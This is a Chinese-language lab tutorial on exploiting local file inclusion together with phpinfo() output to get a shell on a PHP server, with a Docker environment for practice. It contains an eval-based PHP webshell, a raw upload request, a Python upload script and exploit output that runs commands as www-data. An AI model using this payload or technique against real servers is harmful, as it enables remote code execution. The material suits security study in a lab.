簡介與背景
lfi with phpinfo最早由國外大牛提出,可參考下面兩篇文章。利用的原理是利用php post上傳文件產生臨時文件,phpinfo()讀臨時文件的路徑和名字,本地包含漏洞生成1句話后門。
此方式在本地測試成功,為了方便大家學習,減小學習成本,已構建docker環境,輕松測試。將構建好的docker放在國外VPS上,使用github項目 lfi_phpinfo 中poc文件夾下的腳本,本地運行,依然可以getshell。說明這種方式是可行的,對網絡要求不是很高。
Docker Hub 鏡像地址: janes/lfi_phpinfo(https://hub.docker.com/r/janes/lfi_phpinfo/)
github 項目地址: lfi_phpinfo(https://github.com/hxer/vulnapp/tree/master/lfi_phpinfo)
源碼存放在 code目錄下, 可使用docker再現,poc目錄下存放利用腳本
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf
一 php 上傳
向服務器上任意php文件post請求上傳文件時,都會生成臨時文件,可以直接在phpinfo頁面找到臨時文件的路徑及名字。
(一) post上傳文件
php post方式上傳任意文件,服務器都會創建臨時文件來保存文件內容。
在HTTP協議中為了方便進行文件傳輸,規定了一種基于表單的 HTML文件傳輸方法
其中要確保上傳表單的屬性是 enctype=”multipart/form-data,必須用POST 參見: php file-upload.post-method (www.faqs.org/rfcs/rfc1867.html)
其中PHP引擎對enctype=”multipart/form-data”這種請求的處理過程如下:
1.請求到達
2.創建臨時文件,并寫入上傳文件的內容
3.調用相應PHP腳本進行處理,如校驗名稱、大小等
4.刪除臨時文件
PHP引擎會首先將文件內容保存到臨時文件,然后進行相應的操作。臨時文件的名稱是 php+隨機字符 。
(二)$_FILES信息,包括臨時文件路徑、名稱
在PHP中,有超全局變量$_FILES,保存上傳文件的信息,包括文件名、類型、臨時文件名、錯誤代號、大小
二 手工測試phpinfo()獲取臨時文件路徑
(一) html表單
文件 upload.html
源代碼:
<!doctype html>
<html>
<body>
<form action="phpinfo.php" method="POST" enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
(二)瀏覽器訪問 upload.html, 上傳文件 file.txt
<?php
eval($_REQUEST["cmd"]);
?>
(三)burp 查看POST 信息如下
POST /LFI_phpinfo/phpinfo.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/LFI_phpinfo/upload.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112
Content-Length: 368
-----------------------------11008921013555437861019615112
Content-Disposition: form-data; name="file"; filename="file.txt"
Content-Type: text/plain
<?php
eval($_REQUEST["cmd"]);
?>
-----------------------------11008921013555437861019615112
Content-Disposition: form-data; name="submit"
Submit
-----------------------------11008921013555437861019615112--
(四)瀏覽器訪問,phpinfo 返回如下信息:
_REQUEST["submit"]
Submit
_POST["submit"]
Submit
_FILES["file"]
Array
(
[name] => file.txt
[type] => text/plain
[tmp_name] => /tmp/phpufdCHh
[error] => 0
[size] => 33
)
得到tmp_name 路徑
三 python腳本 upload file
import requests
host = '127.0.0.1'
url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)
file_ = '/var/www/LFI_phpinfo/file.txt'
response = requests.post(url, files={"name": open(file_, 'rb')})
print(response.text)
部分返回結果
<tr><td class="e">_FILES["name"]</td><td class="v"><pre>Array
(
[name] => file.txt
[type] =>
[tmp_name] => /tmp/php7EvBv3
[error] => 0
[size] => 33
四 本地搭建環境
(一)get shell
$ python lfi_phpinfo.py 127.0.0.1
LFI with phpinfo()
==============================
INFO:__main__:Getting initial offset ...
INFO:__main__:found [tmp_name] at 67801
INFO:__main__:
Got it! Shell created in /tmp/g
INFO:__main__:Wowo! \m/
INFO:__main__:Shutting down...
(二)firefox 訪問
http://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
說明getshell成功,之后就可以自由發揮了~~
五 使用 docker 構建環境
docker的基本用法,這里就不闡述了,可自行google。這里提供了兩種構建鏡像源的方式,使用github lfi_phpinfo 中Dockerfile自行構建,或使用我已經構建好的鏡像 janes/lfi_phpinfo(https://hub.docker.com/r/janes/lfi_phpinfo/)
(一)鏡像源
-- [php 1="官方源" 2="2="2="2="2="language=":5.6-apache"""""\"][/php]/php5
或
— janes/lfi_phpinfo
(二)構建環境運行測試
獲取 github lfi_phpinfo 的源碼,切換到web目錄下,開始構建環境進行測試。這里提供三種方式運行
方式1 使用php官方源運行測試
docker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
方式2 使用構建好的鏡像 janes/lfi_phpinfo 運行測試
docker pull "janes/lfi_phpinfo"
docker run --rm -p "80:80" janes/lfi_phpinfo
方式3 使用docker-compose
docker-compose up
接下來就可以使用python腳本 getshell 了
python lfi_phpinfo.py docker_host_ip
后記
動手實踐 LFI with PHPInfo利用的過程,其實并不像看文章過程那樣順利,期間多多少少會碰見一些與環境有關的問題,而解決這些問題會耗費精力,這正是催生我用docker來構建測試環境想法的來源,希望能給網絡安全的熱愛者們提供更方便的學習環境。最后感謝[LFI with PHPInfo本地測試過程]文章的作者,給我研究LFI with phpinfo提供了不少幫助。